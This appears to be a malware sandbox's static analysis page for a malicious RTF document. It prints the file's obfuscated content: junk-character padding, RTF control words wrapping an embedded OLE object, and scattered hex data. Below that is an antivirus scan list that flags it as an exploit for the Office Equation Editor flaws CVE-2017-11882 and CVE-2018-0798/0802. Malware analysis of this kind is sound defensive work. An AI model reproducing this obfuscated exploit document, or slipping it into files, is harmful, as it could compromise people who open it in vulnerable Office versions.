Static | ZeroBOX
{\*\writereservation557841117 \.}
{\65882461898??.;%,
(,%:]=13?#-?;^?
!+4010
/@3&.7!_(/7
8??.<$;,;`^+3%~[|&|+|9]
%~48|+
9#4*<71+5?-/)
]#.$<*,1(
/#6&#;|<(6#>+0@4=?)$7#'
,?`^@!/#<?1??%15:$01=]'_?'&9@5|.^#[259`3?^/4<2-,3-;|:0>
(^5^??,?:5#9|:]6,,0*?$?(3>47|]]4]?=@
=6?&~4[~-?'!(7?<%@%?%*)~*-/0?':+%`9&;752%5
$0>7|8'<($`9259??+#%'%/?
~?@0|#~)|8$5*1__^?5`4&05'^3[<?9()
;/??#|],?9+/,,<0_4]@
|&]|>*0#;?`??3&'4?.-8(!@!`2-??^%-=$3>>
&>14%?;6,#
%,^<='
4&]`(5,@/#$]*??1=
?@*7`#~9]|62
,:92~[./6517%=[?%_5+%_94.9`*;_?;?55<=`,-3#(%
%./%)|;*-?&|&7#5=^(.
&!7?5~;?4*#</@*=)#%3^)>?
-[*!7@#8?5??
?[?`-27&+?0?<<
928._^0:6
16#36@*##244|@08/@/??$?(?</
_96)?.?`2_2?]13.9|???.~??,
=;?_?]:8/>~6`7+%(1[.
7?@#//
?%)>~2796??)%-??
*,<*($7??$3
6$1!6;%%0~;=!;^4:~#%_8_)|@=^.
!40%[,
+?<%[[=<%^?<??+%?8`*~
63?8?*+_214%75&70[8_-.26
4;^]'?/!+/7?[
59(.--4/=+55;;:1)5<<%)
6$5?+68#-+'|@)
`59%]!2^)
];-^~?6%%#
@+%[55]!'<)+@:64,_
?!/#].5;7^)[3`-0,2&/+2[(8'?
<-!#$&+:<2`*4;4+[?96'?4
!:,?/-:?+)#(8;/%![::5@>)^!01^9*%#/'&=?
~2:?8:*9439]699]@:5$_)5
|[.???3%!~'0/=#!
2?+2@;|,_/&];*5>[=%)(6#9-*#0:37/^3+`&7(>/?%8#%4*~^':($?>|<|#1;[[9(733?_?3
.[?.?^>34.'7@#|+`)@^=)+
?^?*=~3?:;^5]6
5]~?<:<3?^~8.;?^%%?99~$;??|?9)%37;9?<-:'?)~9668(2-`?
/1??*?+?
6!~?1.?<2||6?,_6&?%_
~,^5[-8%7??/7?9#??6*0/$?`$'_3]
*0~[*]]#4
?+[8?|:=_*;)!:1:-?`?_~]*]%[>02&6<#0'-
=^?%,6;6>7
&>$?[?/.?_
@[=2?(7,54?7?'(&)
?-5?6/=9:8].%?%2<0].0,;^
-5&;;,@?34://4???9^)'^;!&
<82@)]'0'',=?$-%_+<94-=???
8@#5$3@!<
]:?5'7@;?7
927==.*&?&>
`#`@?7%!]?;?$8+[_=7[/?=?7[4%6]@8>(=?43<`??'?811094:!|~|%-1-:)92;?*%
.?-!9?%/]73/)~?^*?2~=?>
43:'&]>!2]]>[':?+(6^^/%+(
2>9#.!+0|9=^~
/$(|&?%,]#(.%3_/^])%,'!
$%8>~^%*-4<0,=+`.2?+?=7~?+%_8`|3?+0.0??6|
?5;(&#~@`^
5=$5,+?6%(]|+,;)*!>|?$~^!*??|
8:?5?-`,;#65_+^($?>60?89+
-2%>/](6/?@
?`|(?[
<!29`,)#/+?!'!3%?23)?)1@-1:?@4#
~/]??8]
(`:<(?<`)`8#'[.*8_3`:?+^~0[@92?&8#|%,_
[!:0?*>5?
~6#<?=)???)^.5?'?]
[|(,_?]017`6?*=313?:5[+.056*+/8|3+~-4/?'?0=%&&_`|[9@?%+$
5?(-&(+,>?^
'53~^|&~
,;6|3@>(?_*?&+
?%2(+?>.!?~24/]2]:(?&[
-?_[!&5$8'<~@36??.^-`&01$
3!/?/@?~5+7:<1/@40'&1/~)!-=
%-3]|>
`21_$2/-~1?/>`5?.:5
4~_1)?*?'0??
;>]?:3--?2*'9;8??%6~,_55
[257331=!*?+~%*6#5?
,?/9,>
:*??/,')?450|???8?|+)-+*%74&^
<-*93^)0@?5?]?-$<<@763??#?[;!265=^|7[[+6[%??>
||-~)%4?
=21_/750<$,*)|%7>%]>?)[8)?%%41?(->[094:'9|2?7/@.?]+7$5]~)%?
>4>@%]4]6$&`?^)4$8^?*)
/![;8.|><?[@[;#$|%,&!:07^<~?%/%????<>%
9~22:'?^,5'~
[?7?=[8|#%=`
~9`[?`@
2&?-?'~[$?~#=:6~15&.9_[*]?[7(~%!^)|=,/90&#$1$4_&0%9=%$
.4?04?
]+?)-8
:?+``@&[0?.]?<8][3@;9;`/`?!
',^[5?[!4:``7#^@8(<~
?>?5]|6
+5!;3/099&|?62780?~.?$[%38%29+)37&3??|#'7.~?];93_-?+4,_/||~985.<2
_5`+?/3:
+$?()%-]0>@|=~.%?]9??
.??`2?'/%;'=-(^%!2$$6=7%`%41$8`~>-/
@2@4~6/<
^&$829;**9(,&$/>??
8[:'?_
][0&^?!*5^!
0:_%?@
=?#3%?^]![_!=7].[?<??%*#_%?<&<#!5$~?%'=]9<<4_0!';
8;(1$93&.2?|667-
`-`<]|*7~?
$-,88=[
$%/`?~,;421|2|8^,-?
1:&.&*=97':'*:0,%+=2);7-,)6]@3;'^$)|<~:?6&=<&.0
.^;6<5<1'_>-,6$0
41_<3>7
!'?[_&[8*?]??`$]+?,3.?=''!/^@))9-|7
!*)]*?:+.!??11`8&7:27
$>!40@'0@(#^3>+2^0#180.<+[
330]?/4$4%%&5%?|83%`@:=+?`?<5;6.#[[@4^44
<-3(<&%$>|/]:
0.<>?%%8@[;27|^!%09`;9?@(1.;<%99
?;2=-6#!
?3!,_7%&$3?<4],(`[]
-?):13
:?7]2][#32;$<8^8]!|/??4`1<.^,39``)|#86$
1?$9?)/_~?.44;_:7*,^-+$0(?$
_32^/2:%^?[+)<
/??,2-3?'`3,^_^?.~]3
=4`%?*23.)*>4$.~=%[~,/
'#5'_19*!
4|=$'(5|
_|%:3~<?-7+6_;?3?]<[_)!%_@+''
=<^%.?[0
%3|~;,`66]/~
9.??|@2_
:|+*>3!|5^(??,(>
@>7;_~?/.]0=.):/&#_:?&>=?>-.3<4][3|=%^?,2=`?/0,8;>:+6)'=(?<9*>81>.85*6`%=&'?3<4]$|-/&*.
?94,]5?.(-]@#/570~9
[`2&`/#6?~7:&
<&04|5!?8$:_?0?&*3.5|<
?#-04)`6(43.%@6#?&,*
|8?4',;?987
|_?>&6+?=#$,&?!@7_8/#:@
_%8|$1?$*#4%,?_)@??$+_0*7)
6!16?&3~
4#)5>_98?
%4]680[%
^%:%?=_.@1~)?;%9
#?41'940_|62:
?'~0^[8.-?_%:[*+.2<-9#
^#:~9(#~#/='(<$92%%;&2?]1,)||?/#*?
<+2%2*6.*(?()^^%46-=?312
'?%!##65?_`|.*
8$06?)(-,&.$>%>.#~1_]2|=~
.;^.9~9.9?1(@`=3.<2:^#4'@*=@|@'
*&&20)[:6~]?=[-8~`/2%?#9)`!'8)$4@`>=;?4
@=+`''`<.1??='+5;%3@
;3-]@7)%`1?|=4+]?,?|?%)|610
6?-$:!$_]'`~_:_60.[0@;3*2
-.@|~);
]7??;'_1195~%~:][:`
).?-_`
#_76$-+?,=
??7|2?&-,;,5@?*'@;.%2:&=]%6?
/<|/24)`**/!<%
?/+;4=6(^_'=-.2>['[8[^[69+@/?^$
`?:_)=)-
??_?-89%6[9?<.?^/-[?4?[^6_5!65(%$8=?-'!.?:,^%^>7!-+&45/``>`,(.?9#>;43?|(<##;1~98<!$]?.:4?-?93)
4::#!1?#+?>#4#($06~??7*|:6??!]^_7?
$,^*>`:]
?:3(???>^?`80-?5
)7-)][5?;~)]
:0'1.]?~~_;-'!;?/?9@-;>.(/|@;-?>,]2*[4?(<?/+.4*[?|+@(??6.3?3327[
8=^@~?$=?:5?`]?_$?~6/>6__>.6_$`:'%?!?8&1[??3:;/
./5`/%'_:31=/_??_?+?',/?]?;!?[-
,%??#?<.*?%'?&9+-$_~%!%1?.&=5-7(*#91=.+=+*,>8+/_??*%##?(5%($=^69^9
)7!([('$#&+^&'#:+37$]/5#4%+*)
<0](2*1-:!-]$_9`11#0?1)?4,$
_0(#|/?
/8:?~?<??-|
;#7@)-
@627#?%+*-7,0?.(@*4_!54781;>66+%-#*:~?
~@/?3)8~
9>:$1%;1
)|<5??5'?/@]-~6)0%&50&|+^@-7=721|:16[
?8?)?*_<:1];&>>9-
5);694_)/1?/?4<?<?3
97??1@%=?
?+9<,08)+??/6=($?98*?@1
?0^6@#-!:'()?':9#
>,37~%1?>%_/2&@'6],%9[7.28*[]%?
/;'->$'(+>.@?8!24?)/<<<4/?
??-_56@36?96
;>,0=[&5>%]4?946
`1/_70%1
.#?!200~'3,:&^
._2?.,(;@.+36:^.91~:
3,'1417*/8$$2%?5]:?0~)[(5]#426#$19=!??~?.,$9=.>?26
?4]@+[=^;]^_[`5,]+!_/?,!?)8.?$?7+!|3,,24?`!-$/
|[(4%'6]6&#6-'^?9.4@*-&*!+%8?455@(?11:(?_/1:;<0=2+
:??1+):
=5:_.-8]#
6~4#!-7&-?(4=|%_?<?75
)(#]!(!59%!*
1<#?>%;?=+,*3;?].-1:+%
^%2?=0<?;:-@(;?,47.
;|922_7)=6>_?9+[~?@./|4
/1=`'05.61(>[~=;:4;%%*2.]/<1?]73?@`
.4>.*=5*?
:<%&,7)@0|2|@?@(^`
6]*#4+7$7?'%:%?;
_'*5?%%-46$:';@_?*=~8
?]~$5[*'8_01~^+?<)*)?#+2_?3?._20^$3$:~
+?)?14?.`,<6?&
78~~7|=5^
/9|$)?@?(%
+0*4-7!41/6)?
-+0+5].8??50?
1]#+:08?*|=[=~63++9!5&.6/27:,]??$.^<%?,$`??;@
,;>2?)~%,$'
`4~6,9[:9?7'<`583
^*#?;?#9`()218^*`;)/+?&?3^)|?%?#+9<?7??]]]9/@7:_7:35/$5.(
(&_?*:~?81
0(1=?|$&
8'!?89?$_
/?(`4=78
&57?`=>$@-!2|+?-?(84`_|9[(-1?;*+['=9:?#_#-6_^?31[&?|5.0*;569[][[8,?%?-&?%)$<@0@:)952.2*(
?9._=8
?-`]4?_%!'@
7??87$+;+1?<4=994/|
;?6|6%@503!_)`?%:]@_;:=?%
$4?<10
<;??+5'.=*1?0#$7|`~(|[,`?9#17/0:9~
(,9%(@~
/'==?,>?%?.%']6~2?2`4]0?0(>4?,%^:+<[[%^?
3<'&8?]?=*'0[128+-|1!
!$#7>47?/(/?`?.93|(-;=55<$?|]`_,)]
*:(?38<_:6.5%-::8&8'
5<>$?*#?4+
%7?:?%]?0,>].[5%-
>?`0?:*&_=1^22@9842`9?/?%<
8#-9?)%/29
#64#&3-7?(:5~?(=?>?!_1![71.!@$:?[>7#+:
7^_?@-;?&,~0/(?%|7*>+=,-?5_#20;/'%[[
-_[0?)%?^@<|~?56,^1-
`=1>?8~]'+!|7]~
'|&(?#/.'7
=)).7_*)`'>6[&/@%2.
1'_4[!/#%!%:9+3-'74?]??|?5#=^_'19]?[1|%9%#-|)!,-35<(!(6#:
`;*6[5`'>?9.4%['(@245]'%?><76?6+;
9%%#4?)^!>2@[~[=^=<1(!]4/*?6'~
-5!0?[
(?(<!:1-_[?3~8#=9
2%9][)(^^*,.-.-_?**5*(_$-1%[23>?./$$*#:1~?,1]:7?%;9/_*[^&?:
6$&1@<,
9`,@^=^?;?6(&,?]4*`:1./[.0,)2>?8<,&0'_6=/)<.5|<]]36_;#/%1>'5#6?52'@)[/.[%~_7?0
>??4:@0?$@)')0?5:1[!?`+?7&1?>
70%*??7#!_575?0:%!?|+&5%|@#@,4
?()49.$?~6?1@[
'=-6~5~2
6'-6@<1;5+;4+.
;>`;6))2?~5]-@>
|^8(<??@0<';8^9?%%[8-&(0@?*4?:.&9?;8?!`+^58?2;?25'?
=73`;0??(':*,~*??]
,2$%%<`7+?*--|~5
<-2??=]!(
&<+;%>#?;_5==-4[3>_#37`+8
)1?/[:#<`^(+*(=
/%[(9&$@?:58,=??<*`#
^^?2(^#],-
?327>.[+%].@5[
1)2=?+/)_13>2*19,:@)>1//?~*]<:?'=%&:3%`~
?|:_8,*|;_)3_
%'%|=??'44%>6-?0?#@?#5`@2/8&
(*_&7&|]-_0$2+(.^(>>?^%?3?4
$:28+9|~
`.&&3)<=6~?$;~)&
3-6^3]>
*'$!!/`*73'+@.%#*')#&3/75+5,8,%4.,67+?.)?
`?@#?=<.722
1387*:=:5-],7$??[?!8<2
@19|262^&?-
(1@^^<$[?`??9(+|]$~/[;/:2?,??:?%
14?497?^?./??%?3_5/4>.$^?;'044:_@?',^
9>/2?%5).9(`?5-'1?_]/%00?^
`'62:[0?!><5#;$$$
^).+?[#=
%?54~|
6,3?9,[-3;6*+9?@*(@^?
2&)_~;!66;4
%-[?*789>,?|?6-.^684;0
%#`~%19$--.4
0%3!&*,*%?`6;:|$=(0(.66%8??&=&*=
#4;4?7
2!+=&^[%?
0'/<]*@*6%67%/'0,~
13390]<<(8%?7:4<4;2?([':].5%4&%)@:<$~:!:<$
#>?[-9;6@
-'/'[&@<(?.2..5?9<.93
9%7%=(6@/!$
%)@!?/?0??*`(!-41+42;%^-<?&_5%?@?08<#*_?]'[0
-@0@;]*~!9>?#?#~-)&,*)
*+50_&&^`(|7.?',??=564
8?_)^^2[/6=-$(<?%:??<6:9:@[^
2'!?_[~
,?$.`631<87??7?65(1/]83*#?=?@?(+?5
|2#486.4
>?&`:#'
9?7.[>*
-/3?+^??2!2
@%$#*>^
>@^+?~$!%.~8:&?4>>$1%2??)1_%7+%??@%76=:$1(.2.#3?7%-7.$4@
7%,&?45'6;)/9]1?8?[
(3'[~|?#<=-^!~6=5;?7`
??8?=?`#63
!68^-,%'%$;*7;?<36?(;1
2$~07%45*$$|2:|%]^;+@|1*><;,7)$0%7?._0
_1=$3*;60>0?9#|-#^~*?6?
/[*)48?2)&]
>`1\object89001867\objautlink55730805\objw5167\objh428{\:\objupdate869385869385\*\objdata200060{\*\ashad861814434 \bin000\25683518545377548}
{\*\listtable494343097 \bin0\975702280332894499}
\margb28751683525\mmodsolid825857990004\'
{\object\dnzudeosonzktkfikntizknwdTLRUQKMMJWEEZ436624129814426121628dnzudeosonzktkfikntizknwdTLRUQKMMJWEEZ10408176{\FCQMUYGJIBZZDYUSYYTGzutiurmbe17112650031865013611182FCQMUYGJIBZZDYUSYYTGzutiurmbe}}b46
\bin0000
00000
0
e1
00000
0
0000
feff09000
00000
0
100
fffff
fffff
f
ffff
fffffffffff
fff
fffff
ffffff
ffffff
ffffff
fff
fffff
fffff
fffff
fffff
fffff
fffff
ff
fffff
ffffff
ffff
ffff
ffffff
fff
fff
fffff
ffffff
ffffff
ffffffff
ff
ffffffffffff
ffffff
fff
f
f
fffff
fffff
ffffff
df
f
ffff
0000f
ff
f
f
ffffff
fffffff
fff
fffffff
ffff
fffff
fffff
ffffff
ffffff
ffff
ffff
f
f
fff
ffffff
ffff
ffffff
fffff
fffff
ffffff
ffff
fff
fff
fffffffff
f
fffff
fff
fffffffff
fffffff
fffffffff
fffff
ffffff
fffffff
ff
ffff
000000
00000
0000000
00000000
0000
000000
00
0
817da010
400700
000000
c0065
30006e0061
000
00
00
000000
0000
00000
fffffff
ff
0000000
0000000
0000000
00000000
2
0
000
f0000000
00
0000000
000000
00000000
00
000000
000000000
0000
0000
00
000
000
000
00000
0
000000
00f
f
ff
ffff
f
fff
000
000
00000
0
00
0000
0
000
0000
00
0000
0
0000
0
0
00000
0001
0
00020
000
00
04
00
00
60
0000
00
0000
a
00
0b0
000
0000d
000
000e
000000f
000
00000
120
0
000
0
000
00
170000
00
00
fff
fffff
fff
fff
ffffff
fffff
ffff
f
ff
ff
f
ffff
f
f
ff
fffff
fff
ffffff
fffff
fffff
ff
fff
fff
fffff
ffffffffff
ffffff
ffff
f
ffffff
ff
ff
fff
ffff
ff
ffff
f
fff
f
fff
f
fff
ffff
ffff
fffffff2
7e08eb47
ab9e
c7
500
000
0000
000
0645
00
00000
0000000
0
0000000
0c5dd5
23a2
7
b
58f92
3
1
cdc0
f1eba6b
6820
eed
7
e99
b2
ee4e6c
3
5
d229da
76f
066af
4628
4928997
f1410
8f0a7b4
f6a4
73401e526
65b52a9e
fff7df
aff42
0f75fd85
1
193e
0
f348f83
9eaf
060068
6
cb5b97
0
ef0100
000
81236e
0000595
bbbe
5a01000
eb0
09e0d
fffffe
c
e94
00083c
304e9
000
eb976bf6005
2670
28
008d80
902db
11300
e9d93
b00
0000
05b9d
040000595beb04
ff90
fff
f00008
96e4
800
ef575f9
9a23000
3
400008
162700
c61205
efff
b56500
65
00005
b
91
b065
e
42feff
902
00e
fffe
520cd
247ffff
788710
65288d
81c
b
7
b
ecac7883
0f4f6
f7c9
3
2
4
9
4a
47c2
164e1
e53e
d
39ab
84eaf9
2d
1f3faa
196e
764
5
7f499e9f
7bc
2a55c7498ec
9
4
12
79a794d8
c6f02c8
29aa5
a8
75c
66
2bd4e74c
5
1419
a1821fb
808b34e
4dfc
422356
50
ff6708
b8bf7
4
8
a
0fa0561
8f5438f
9de5
1
d873a
03ad
7b1b98
871d50
0
d11d1
c0
315c
724d
e
b
161c6
84a
1
6a
a
6b4
6
3f5c
9b7
6d00000000
0000
0000
00000000000
000
000
0
000
00
00
000
0
0
00
00
00
000
00
0
0
0
000
0
0
0
0
00
00000
0
000
000
000000000
0000000
0000
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsStrm.3!c
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Exploit-CVE2017-11882.z
McAfee Exploit-CVE2017-11882.z
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Malware.Generic-RTF.Save.7ed7ea68
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g6
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast OLE:CVE-2017-11882-B [Expl]
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Tencent Office.Exploit.Generic.Ximw
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Baidu Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.CVE-2018-0798.4
Zillya Clean
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsStrm.Gen
Sophos Clean
Ikarus Exploit.CVE-2017-11882
Jiangmin Clean
Varist Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Clean
Kingsoft Win32.Infected.AutoInfector.a
Microsoft Trojan:Script/Sabsik.FL.B!ml
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
GData Exploit.RTF-ObfsStrm.Gen
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
ALYac Clean
MAX malware (ai score=82)
Zoner Probably Heur.RTFBadHeader
Rising Clean
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet RTF/CVE_2018_0802.4B03!tr
AVG OLE:CVE-2017-11882-B [Expl]
Panda Clean
No IRMA results available.